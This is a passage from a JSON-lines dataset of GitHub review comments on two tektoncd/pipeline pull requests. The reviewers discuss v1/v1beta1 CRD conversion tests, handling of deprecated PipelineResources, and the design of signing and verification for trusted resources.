origin {5} U:1 \u2717| \u2192 go test -v -tags=e2e -count=1 ./test -run ^TestTaskRunCRDConversion\r\n=== RUN TestTaskRunCRDConversion\r\n=== PAUSE TestTaskRunCRDConversion\r\n=== CONT TestTaskRunCRDConversion\r\n init_test.go:138: Create namespace arendelle-ttvl6 to deploy to\r\n init_test.go:166: Verify SA \"default\" is created in namespace \"arendelle-ttvl6\"\r\n stream.go:254: E 15:55:34.467 tekton-pipelines-controller-8588544f45-jxvhz [github.com.tektoncd.pipeline.pkg.reconciler.taskrun.Reconciler] [arendelle-ttvl6/task-run-c-r-d-conversion-auxzmupl] TaskRun prepare error: resource request in progress\r\n conversion_test.go:692: -want, +got: &v1beta1.TaskRun{\r\n ... // 1 ignored field\r\n ObjectMeta: v1.ObjectMeta{\r\n ... // 5 ignored and 6 identical fields\r\n - Annotations: nil,\r\n + Annotations: map[string]string{\"pipeline.tekton.dev/release\": \"c6dc3cd-dirty\"},\r\n OwnerReferences: nil,\r\n Finalizers: nil,\r\n ... // 1 ignored field\r\n },\r\n```\r\n\r\nBut if there is not I assume this should be fine as it is only ignored in the v1beta1 yaml expected, which is converted from the annotations of v1TaskRun yaml (in line #L346-348). So I think the annotations are not required in this specific test case of v1beta1 expected. And the expected v1 annotation case is not ignored in #L674.\r\n", "comment_id": 1015610890, "created_at": "2022-11-07T16:07:59Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "My take is `cleanuponinterrupt` only cleans up the namespace when the test fails https://github.com/tektoncd/pipeline/blob/main/vendor/knative.dev/pkg/test/cleanup.go#L57-L65 while defer tearDown works at the success of the test case? \r\n\r\nAlso what's used in the test folders right now as in https://github.com/tektoncd/pipeline/blob/main/test/artifact_bucket_test.go#L61-L62 are deprecated. Created [issue](https://github.com/tektoncd/pipeline/issues/5728) to track this down. ", "comment_id": 1015710937, "created_at": "2022-11-07T17:32:08Z", "line": 809, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "lbernick", "body": "It sounds like you're saying we're testing conversion from annotations in v1 to resources in v1beta1, which is true, but we need to make sure conversion from v1beta1 resources -> v1 annotations is also covered. Maybe there is something in cmpopts that will allow you to implement a function that compares only the keys of interest, or an example of doing so in the codebase? Or maybe you can continue ignoring the annotations in the initial check, but add another check that does compare the annotations of interest?", "comment_id": 1015747931, "created_at": "2022-11-07T18:11:10Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks for the elaboration. I think this part where v1beta1 resources -> v1 annotations is covered in #L661-L678 where v1beta1 is converted to v1.\r\n\r\nAlso out of this it seems that the codes themselves are not clear(self-explanatory as the yaml could be too long) enough here, wondering if adding comments here will help?", "comment_id": 1015753767, "created_at": "2022-11-07T18:16:49Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "lbernick", "body": "oh I see-- I think this is fine", "comment_id": 1015762495, "created_at": "2022-11-07T18:26:10Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks Lee. Marking this as resolved.", "comment_id": 1015793337, "created_at": "2022-11-07T19:01:34Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "afrittoli", "body": "Why is this under no-ci? ", "comment_id": 1018128390, "created_at": "2022-11-09T16:00:50Z", "line": 1, "path": "examples/v1/pipelineruns/no-ci/cluster-resolver.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "afrittoli", "body": "Why is this under no-ci?", "comment_id": 1018130246, "created_at": "2022-11-09T16:02:23Z", "line": null, "path": "examples/v1/taskruns/no-ci/tekton-bundles.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "afrittoli", "body": "Link in the comment should be https://github.com/tektoncd/catalog/blob/v1beta1/git/git-clone.yaml - at least until we have a `v1` tag on the catalog", "comment_id": 1018287930, "created_at": "2022-11-09T18:34:30Z", "line": 1, "path": "examples/v1/pipelineruns/pipelinerun-with-final-tasks.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "afrittoli", "body": "v1 -> v1beta1", "comment_id": 1018289213, "created_at": "2022-11-09T18:35:58Z", "line": 39, "path": "examples/v1/pipelineruns/pipelinerun.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "afrittoli", "body": "v1 -> v1beta1", "comment_id": 1018289477, "created_at": "2022-11-09T18:36:15Z", "line": 122, "path": "examples/v1/pipelineruns/pipelinerun.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: might want to use 2022", "comment_id": 1018290705, "created_at": "2022-11-09T18:37:44Z", "line": null, "path": "examples/v1/taskruns/no-ci/pull-private-image.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Removed. Thanks @afrittoli ", "comment_id": 1020285588, "created_at": "2022-11-11T14:49:34Z", "line": null, "path": "examples/v1/taskruns/no-ci/tekton-bundles.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "This is copied from `v1beta1` examples, and I assume it is because that we have to create some tasks in the cluster ourselves to use this as for the `some-pipeline` in the `pipelineRef`.", "comment_id": 1020314529, "created_at": "2022-11-11T15:22:10Z", "line": 1, "path": "examples/v1/pipelineruns/no-ci/cluster-resolver.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "pritidesai", "body": "I would assume that this test file covers V1 Tasks, V1 Pipeline, V1 PipelineRun along with v1beta1 TaskRun \ud83e\udd14 \r\n\r\nhttps://github.com/tektoncd/pipeline/blob/main/test/init_test.go#L217", "comment_id": 1028432780, "created_at": "2022-11-21T19:15:47Z", "line": null, "path": "test/init_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "pritidesai", "body": "I am confused seeing `resources` here \ud83d\ude43 ", "comment_id": 1028434602, "created_at": "2022-11-21T19:18:07Z", "line": 174, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "pritidesai", "body": "beta resources?", "comment_id": 1028435112, "created_at": "2022-11-21T19:18:49Z", "line": 192, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "`resources` is deprecated in v1beta1, so this needs to be covered by the conversion integration test to make sure it does not get dropped on the floor. \r\n\r\nFor this specific case, on line #L612 it is being created by v1beta1TaskClient and converted to v1(which serializing the resources into annotations, which would correspond to the following comment at line #L158).\r\n\r\nPlease let me know if this makes any sense:)\r\n", "comment_id": 1028441687, "created_at": "2022-11-21T19:27:14Z", "line": 174, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Updated. Thanks Priti for the catch!", "comment_id": 1028458468, "created_at": "2022-11-21T19:49:32Z", "line": null, "path": "test/init_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I think this is the related converted result as in [the comment above](https://github.com/tektoncd/pipeline/pull/5579#discussion_r1028441687). And the implementation details for this could be found at https://github.com/tektoncd/pipeline/pull/5253.", "comment_id": 1028464624, "created_at": "2022-11-21T19:57:31Z", "line": 192, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "pritidesai", "body": "Thank you @JeromeJu \r\n\r\nYup, I understand `resources` are deprecated and also, `resources` were not promoted to `beta`.\r\n\r\nWe also want to make sure `resources` are **NOT** surfaced when we create V1 as part of the proposed migration [strategy](https://github.com/tektoncd/community/blob/main/teps/0074-deprecate-pipelineresources.md#upgrade--migration-strategy).\r\n\r\nI understand they are being stored in `annotations` but aren't `annotations` part of the same API policies.\r\n\r\nThe only concern I have here is, when the users will notice pipeline resources in annotations as part of V1 CRDs, it might create a false expectation that the resources will be part of the V1 and not getting dropped anytime soon. I have been a huge fan of `resources` and would love that \ud83e\udd23 \r\n\r\nThe pipeline resources were announced as deprecated in `v0.30.0` and safe to remove since 12/20//2021.\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/main/docs/deprecations.md\r\n\r\nFrom the policy perspective, I think, it's safe to delete the resources from the code base before we release V1 CRDs. Or at least drop them on the floor while converting to V1 but like you pointed out, it could lead to an incomplete/invalid CRD.\r\n\r\n", "comment_id": 1028465305, "created_at": "2022-11-21T19:58:27Z", "line": 174, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks for the elaboration! I do understand the concerns here. As for the policy perspective, `resources` are removed from the v1 CRDs code base while it is included here for conversion as we want to cover all the fields that could be specified in v1beta1 CRDs. So that to suggest that we need to make sure this is not misleading in the context of `conversion_test.go`. And I do agree that we would still need them in the examples here to be aligned with https://github.com/tektoncd/pipeline/issues/4546. \r\n\r\nTherefore, I have added comments to state that `resources` shall not be used here and they are just aligning with #4546. Hope this shall be helpful not to be misleading as users shall still refer to `install.md` and [deprecation.md](https://github.com/tektoncd/pipeline/blob/main/docs/deprecations.md). \r\n\r\nMuch appreciate for this and helping to point out if there're any further concerns to be resolved.\r\n", "comment_id": 1028492956, "created_at": "2022-11-21T20:35:22Z", "line": 174, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Also wondering if this is out of scope for the current v1-CRD-release PR. The way dealing with the deprecated fields are discussed and addressed at https://github.com/tektoncd/pipeline/issues/4546. While I think in this PR what's added is the coverage for integration test of conversion, which shall not be the false expectation as this serves as a part of the [integration test ](https://github.com/tektoncd/pipeline/issues/5627).", "comment_id": 1028716646, "created_at": "2022-11-22T02:03:21Z", "line": 174, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "pritidesai", "body": "@jerop trying to understand, why not dropping `resources` on the floor while converting `beta` pipelines to `v1` instead adding them into `annotations`?\r\n\r\nhttps://github.com/tektoncd/pipeline/pull/5331\r\n\r\nFYI, no intention to block this as long as we comply with the policies.\r\n\r\nMy understanding is, the `annotations` approach is more applicable for the fields which are present in the higher versions e.g. `beta` but not in the lower versions e.g. `alpha`. Like `finally` and `when` expressions are introduced in `beta` CRDs but did not exist in `alpha` CRDs. These fields were serialized in `alpha` annotations to get the valid objects while converting up.", "comment_id": 1029669063, "created_at": "2022-11-22T18:03:08Z", "line": 174, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "vdemeester", "body": "@pritidesai I think one of the main intention (long-term) is to not lost *any* input from the user. \r\n\r\nIn addition, we will support `v1beta1` and `v1` for a little while. As we do, we *will* support resource on `v1beta1` types, even when we switch the storage version to `v1`. If a user creates a `v1beta1` resource with a `PipelineResource`, it should work, as long as we support and serve `v1beta1` (or at least as long as the deprecation notice / 9 months thingy is). This means we don't really have any choice of dropping it on the floor if we want to keep our API policy promise.", "comment_id": 1029693472, "created_at": "2022-11-22T18:29:28Z", "line": 174, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks Vincent for chiming in and thanks Priti for the clarification question.\r\n\r\nI think for the question it might be divided to 2 parts: \r\n- \"whether we can drop `resources` on the floor\":\r\n since `resources` is still in v1beta1 fields (though it has passed the time as you pointed in the deprecation.md to be removed), we might still have to support it.\r\n- why going the `annotation` way\r\n I think the purpose for serializing into the `annotation` as in v1 there is no `resources` field and we do not want to apply it so that it can be converted back into v1beta1 before v1 gets to the stored version. And my take is that this might also apply to lower version to higher case as well.", "comment_id": 1029704570, "created_at": "2022-11-22T18:42:18Z", "line": 174, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "pritidesai", "body": "Thank you @vdemeester \ud83d\udc4d \r\n\r\nUnfortunately, it's misleading to continue supporting deprecated fields. An alternative could have been to delete `resources` from the code base entirely before releasing V1.", "comment_id": 1029711364, "created_at": "2022-11-22T18:48:46Z", "line": 174, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "vdemeester", "body": "@pritidesai we could do that but what about the next field that we deprecate ? The problem will be similar. \r\nSerializing into an annotation doesn't necessarily we support it \"always\". But it means we \"keep\" what the user sent us. If tomorrow we remove the `resources` field, then we would stop serializing, and for things where it was serialized it wouldn't be taken into account. As of today, someone who provide a `resources` in a `v1beta1` object has something working, if we release `v1` tomorrow and still serve `v1beta1`, it should still work for that user using `v1beta1` \u2014 there is nothing really more to it. The day we remove it to then we stop supporting it from `v1beta1`. In any case, today, a user using a `v1` wouldn't be able to user `resources` so it's relatively clear we are not supporting it.", "comment_id": 1029742552, "created_at": "2022-11-22T19:28:19Z", "line": 174, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "lbernick", "body": "@JeromeJu and I have been looking through previous discussions, and although we discussed this quite a bit, it's actually not clear that we ever came to a decision. These alternatives [were proposed in API WG](https://docs.google.com/document/d/17PodAxG8hV351fBhSu7Y_OIPhGTVgj6OJ2lPphYYRpU/edit?disco=AAAAkU3A2Kg); [TEP-0105 to remove v1alpha1](https://github.com/tektoncd/community/blob/main/teps/0105-remove-pipeline-v1alpha1-api.md#proposal) doesn't set a proposal for removing PipelineResources, and [TEP-0074](https://github.com/tektoncd/community/blob/main/teps/0074-deprecate-pipelineresources.md#proposal) states that we can remove pipelineresources after 9 months, but not necessarily that we will. \r\n\r\nI believe we chose this approach after contributors expressed concerns about making sure that a v1 release doesn't include backwards incompatible changes to v1beta1, and I opened https://github.com/tektoncd/pipeline/issues/4546 for discussion. I didn't realize that this issue had not actually been decided; I'm sorry about that.\r\n\r\nI agree with Vincent that the fact that you can't create a v1 CRD with resources makes it clear that we won't continue to support them, and prefer to keep the current approach. Would it be helpful for me to create an issue for removing PipelineResources completely, and we can target that for the next release?", "comment_id": 1029746633, "created_at": "2022-11-22T19:33:30Z", "line": 174, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks Priti, Vincent and Lee, added https://github.com/tektoncd/pipeline/issues/5785#issue-1460683293 for further discussion. Also added to the WG for next week.", "comment_id": 1029902962, "created_at": "2022-11-22T23:14:46Z", "line": 174, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "pritidesai", "body": "Any reason for including `alpha` feature gate for taskRun and pipelineRun conversion here? Do we have any alpha API in the test case? I suggest keeping alpha APIs as a separate test case if that's not the case.\r\n\r\n", "comment_id": 1030013655, "created_at": "2022-11-23T04:35:16Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Agreed with the separation for better delegations.\r\nThis is another deprecated field `bundle` that needs git resolver bundle here. The `bundle` would requires the `alpha` feature flag here.", "comment_id": 1030022055, "created_at": "2022-11-23T05:00:30Z", "line": null, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "XinruZhang", "body": "Sorry for the very late check, leaving this comment to track: we need to update `TestTaskRunCRDConversion`, `TestTaskRunCRDConversionAlpha`, `TestPipelineRunCRDConversion` and `TestPipelineRunCRDConversionAlpha`:\r\n1. Add status to all **expected** YAMLs of runtime objects -- PipelineRun and TaskRun.\r\n2. Create `v1beta1` Object, wait until it finishes (can use [updated](https://github.com/tektoncd/pipeline/issues/5793) version of [WaitForPipelineRunState](https://github.com/tektoncd/pipeline/blob/b3e4f35712fca0235e3ef80cc3f03b2600f40cb1/test/wait.go#L159) and [WaitForTaskRunState](https://github.com/tektoncd/pipeline/blob/b3e4f35712fca0235e3ef80cc3f03b2600f40cb1/test/wait.go#L85)), compare **finished** TaskRuns and PipelineRuns (of both `v1` and `v1beta1` versions) with **expected** objects.\r\n3. Create `v1` Objects, wait until it finishes and compare.\r\n", "comment_id": 1031912306, "created_at": "2022-11-24T23:37:00Z", "line": 849, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks @XinruZhang , this is very helpful.\r\nAdded to https://github.com/tektoncd/pipeline/pull/5579#issuecomment-1326617948.", "comment_id": 1031916606, "created_at": "2022-11-25T00:00:12Z", "line": 849, "path": "test/conversion_test.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "dibyom", "body": "doesn't have to be handled in this PR but do we really need to commit the dockercfg given that this test/example is not even being run on CI?", "comment_id": 1044885640, "created_at": "2022-12-09T22:24:30Z", "line": 27, "path": "examples/v1/taskruns/no-ci/pull-private-image.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "dibyom", "body": "Once we deprecate v1beta1 I think we should just modify MustParseTaskRun to use v1 by default. (Again, not necessary for this PR, but we should track this)", "comment_id": 1044886510, "created_at": "2022-12-09T22:25:31Z", "line": 38, "path": "test/parse/yaml.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks Dibyo, tracked in #5865 5865", "comment_id": 1045912297, "created_at": "2022-12-12T14:41:45Z", "line": 38, "path": "test/parse/yaml.go", "pr_number": 5579, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks, added https://github.com/tektoncd/pipeline/issues/5867 and linked it in the comment.", "comment_id": 1046000684, "created_at": "2022-12-12T15:47:23Z", "line": 27, "path": "examples/v1/taskruns/no-ci/pull-private-image.yaml", "pr_number": 5579, "repo": "pipeline"} +{"author": "wlynch", "body": "s/s KMS doesn't work quite the same way as cosign since it's trying to minimize deps - you need to import all of the desired providers from https://github.com/sigstore/sigstore/tree/main/pkg/signature/kms manually, which will call [ProviderInit](https://pkg.go.dev/github.com/sigstore/sigstore/pkg/signature/kms#ProviderInit) to register the prefix.\r\n\r\nThe reason for this is that the providers are a big source of the massive dependency creep in cosign and related tools, since the cloud providers will pull in their corresponding SDKs.\r\n\r\nI don't think we want to put this dependency burden on pipelines - at the very least you should make this its own module, though you may find it easier to just break this out into its own repo in the tektoncd org.", "comment_id": 983856180, "created_at": "2022-09-29T17:46:33Z", "line": null, "path": "cmd/sign/main.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "Instead of making 2 separate binaries, start prepping this to be a tkn plugin by making this 1 single binary with subcommands.", "comment_id": 983857415, "created_at": "2022-09-29T17:48:01Z", "line": null, "path": "cmd/verify/main.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Is it ok to keep these 2 binaries before tkn support? Then we depreciate/remove them. \r\nThe tkn side may take longer time, including TEP and implementation. Just worried we have no way to sign files", "comment_id": 983865015, "created_at": "2022-09-29T17:55:00Z", "line": null, "path": "cmd/verify/main.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "You don't need a TEP for a tkn plugin - you just have to install the binary with the name `tkn-` https://github.com/tektoncd/cli/blob/78665b7ea7583a2e76d85d5996924d5bd5ebad82/pkg/plugins/plugins.go#L34-L50\r\n\r\nYou could still do this with 2 binaries if you wanted, though it becomes a little more annoying to distribute.", "comment_id": 983874934, "created_at": "2022-09-29T18:05:34Z", "line": null, "path": "cmd/verify/main.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "Followed up off-thread - KMS dependency is likely unavoidable since we'll need it on the reconciler side anyway.\r\n\r\nImport away \ud83d\ude48 \r\n\r\n", "comment_id": 983889991, "created_at": "2022-09-29T18:21:36Z", "line": null, "path": "cmd/sign/main.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "Would still recommend a separate repo for this long term though - you'll likely find it easier to maintain / distribute. Process isn't too bad - just follow the process here: https://github.com/tektoncd/community/blob/main/process.md#proposing-projects", "comment_id": 983894059, "created_at": "2022-09-29T18:25:01Z", "line": null, "path": "cmd/sign/main.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Maybe I remove those deps from this PR? I just tried to push them in a new commit and added 13k lines of code. \ud83d\ude22 \r\nThen this commit doesn't really work for kms. (Can be added later when we have a separate repo)", "comment_id": 983902902, "created_at": "2022-09-29T18:35:46Z", "line": null, "path": "cmd/sign/main.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "Yeah that sounds about right. It's kinda unavoidable given that you're pulling in the SDKs.", "comment_id": 983957250, "created_at": "2022-09-29T19:43:43Z", "line": null, "path": "cmd/sign/main.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I will add these into tkn as subcommand. Created an issue here https://github.com/tektoncd/cli/issues/1733.\r\nSo for this commit in the doc I will point to experimental for signing, and when tkn supports we can update the doc", "comment_id": 987990590, "created_at": "2022-10-05T14:28:24Z", "line": null, "path": "cmd/verify/main.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "nit: Rename to resource-verification-mode as verification seems too generic and this does not seem like a policy as such.", "comment_id": 990196698, "created_at": "2022-10-07T15:12:14Z", "line": null, "path": "config/config-feature-flags.yaml", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "Mark this as optional in which case both sections 93-96 and 163-166 can be uncommented.\r\nhttps://kubernetes.io/docs/concepts/configuration/secret/ for reference.", "comment_id": 990206915, "created_at": "2022-10-07T15:22:24Z", "line": null, "path": "config/controller.yaml", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "resources is empty, we could just remove this from the example, a little confusing.", "comment_id": 990209946, "created_at": "2022-10-07T15:25:47Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "nit: Just for completeness add the command to add cosign2.pub as well.", "comment_id": 990218937, "created_at": "2022-10-07T15:35:51Z", "line": 79, "path": "docs/trusted-resources.md", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "Rename to EnforceResourceVerificationMode.", "comment_id": 990219884, "created_at": "2022-10-07T15:37:01Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "Change to CONFIG_TRUSTED_RESOURCES_NAME.", "comment_id": 990224536, "created_at": "2022-10-07T15:42:17Z", "line": null, "path": "pkg/apis/config/trusted_resources.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "Add a default value for the env CONFIG_TRUSTED_RESOURCES_NAME in config/controller.yaml.", "comment_id": 990228639, "created_at": "2022-10-07T15:46:54Z", "line": null, "path": "pkg/apis/config/trusted_resources.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "Set DefaultPublicKeyPath to \"\".", "comment_id": 990231117, "created_at": "2022-10-07T15:48:58Z", "line": null, "path": "pkg/apis/config/trusted_resources.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "If ENV CONFIG_TRUSTED_RESOURCES_NAME is defined in controller.yaml, then the default is set there, in which case this const is not needed.", "comment_id": 990236070, "created_at": "2022-10-07T15:53:22Z", "line": 44, "path": "pkg/apis/config/trusted_resources.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "Would be nice to capture this in status. This is not a must for this PR. Maybe create an issue to work on later. ", "comment_id": 990243496, "created_at": "2022-10-07T15:59:49Z", "line": 163, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "It is not obvious from docs that url is allowed as a key. Could you add that as well in the doc.", "comment_id": 990257211, "created_at": "2022-10-07T16:12:00Z", "line": null, "path": "pkg/reconciler/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "Add this hardcoding in the docs to make it explicit that we only use SHA256.", "comment_id": 990264631, "created_at": "2022-10-07T16:18:40Z", "line": null, "path": "pkg/reconciler/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure, thanks!", "comment_id": 992602199, "created_at": "2022-10-11T17:25:06Z", "line": null, "path": "config/config-feature-flags.yaml", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh thanks! this is indeed missing", "comment_id": 992641702, "created_at": "2022-10-11T18:11:13Z", "line": null, "path": "pkg/apis/config/trusted_resources.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes, I was thinking about asserting the log messages", "comment_id": 992644371, "created_at": "2022-10-11T18:14:30Z", "line": 163, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "That's true, but we may still want the name is set at code? Like https://github.com/tektoncd/pipeline/blob/e9e4cd6014ae68e2e8d5166bac78271d3005ec50/pkg/apis/config/feature_flags.go#L96-L101", "comment_id": 992645610, "created_at": "2022-10-11T18:16:03Z", "line": 44, "path": "pkg/apis/config/trusted_resources.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "KMS url reference not supported in this PR due to kms dependency not added. I'm planning to add them in next PR. Maybe I should remove this and add back in next PR?", "comment_id": 992647218, "created_at": "2022-10-11T18:17:55Z", "line": null, "path": "pkg/reconciler/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "jagathprakash", "body": "This should also be uncommented.", "comment_id": 993704212, "created_at": "2022-10-12T16:58:21Z", "line": 93, "path": "config/controller.yaml", "pr_number": 5581, "repo": "pipeline"} +{"author": "JeromeJu", "body": "```suggestion\r\n # Setting this flag to \"enforce\" will enforce verification of tasks/pipeline. Failing to verify\r\n```", "comment_id": 993879271, "created_at": "2022-10-12T20:43:33Z", "line": null, "path": "config/config-feature-flags.yaml", "pr_number": 5581, "repo": "pipeline"} +{"author": "JeromeJu", "body": "```suggestion\r\n # will fail the taskrun/pipelinerun. \"warn\" will only log the err message and \"skip\"\r\n```", "comment_id": 993879608, "created_at": "2022-10-12T20:44:04Z", "line": null, "path": "config/config-feature-flags.yaml", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "There's defaulting logic also being done for resolved resources here - https://github.com/tektoncd/pipeline/blob/933e4f667c19eaf0a18a19557f434dbabe20d063/pkg/reconciler/pipelinerun/pipelinespec/pipelinespec.go#L46\r\n\r\nCan you consolidate where the defaulting / verification is being done to a single place? The easiest thing to do might be to make sure LocalRefResolver goes through the same resolvePipeline func\r\n\r\n(might be worth breaking this out into a different PR)", "comment_id": 993896026, "created_at": "2022-10-12T21:06:27Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "JeromeJu", "body": "The verification might be done with the helper function as in https://github.com/tektoncd/pipeline/blob/main/pkg/apis/version/version_validation.go#L30", "comment_id": 993896881, "created_at": "2022-10-12T21:07:42Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "We should double check this is being wrapped in a https://pkg.go.dev/knative.dev/pkg/controller#NewPermanentError at some point, otherwise I think this will get reenqueued by the reconciler.", "comment_id": 993900399, "created_at": "2022-10-12T21:12:54Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Wondering if we shall separate the \"attack\" of the signedTask to another function to better demonstrate it is testing \"wrong annotation signature will fail the verifcation\"?", "comment_id": 993906081, "created_at": "2022-10-12T21:21:19Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "Because this is a generically named func in a generically named package, I'd recommend renaming this to something more descriptive (maybe `SetupTrustedResourceConfig`?)\r\n\r\n", "comment_id": 993953846, "created_at": "2022-10-12T22:43:12Z", "line": null, "path": "pkg/reconciler/testing/trustedresources.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "Add more documentation about what information we're filtering and why. It'll help other people understand why decisions were made and what to expect from the output. ", "comment_id": 993955615, "created_at": "2022-10-12T22:47:16Z", "line": null, "path": "pkg/reconciler/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "```suggestion\r\n\treturn fmt.Errorf(\"Task %s in namespace %s fails verification\", task.Name, task.Namespace)\r\n```", "comment_id": 993955867, "created_at": "2022-10-12T22:47:43Z", "line": null, "path": "pkg/reconciler/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "```suggestion\r\n\treturn fmt.Errorf(\"Pipeline %s in namespace %s fails verification\", pipeline.Name, pipeline.Namespace)\r\n```", "comment_id": 993957776, "created_at": "2022-10-12T22:52:01Z", "line": null, "path": "pkg/reconciler/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "Since all this is doing is wrapping a single function and only being used in 1 place, just use verifierForKeyRef directly.", "comment_id": 993958542, "created_at": "2022-10-12T22:53:42Z", "line": null, "path": "pkg/reconciler/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "I don't think `&tc.expected` will ever be nil since it started as a non-pointer object, so you can remove it and just check if `d != \"\"` (I think `cmp` is also smart enough to check for nil vs non-nil values)", "comment_id": 993962595, "created_at": "2022-10-12T23:03:03Z", "line": null, "path": "pkg/reconciler/trustedresources/verify_test.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "Might just be me being paranoid, but you may want to pull this up and guarantee that the same verifiers are used for the same reconcile event. Otherwise you may get race conditions if the key changes mid-reconcile (though I suspect this will be rare).\r\n\r\nI'm okay if you want to hold off on this / TODO for now though!", "comment_id": 993967480, "created_at": "2022-10-12T23:14:30Z", "line": null, "path": "pkg/reconciler/trustedresources/verify.go", "pr_number": 5581, "repo": "pipeline"} +{"author": "wlynch", "body": "Do we want to volume mount the secrets, or should we just reference them via the sigstore 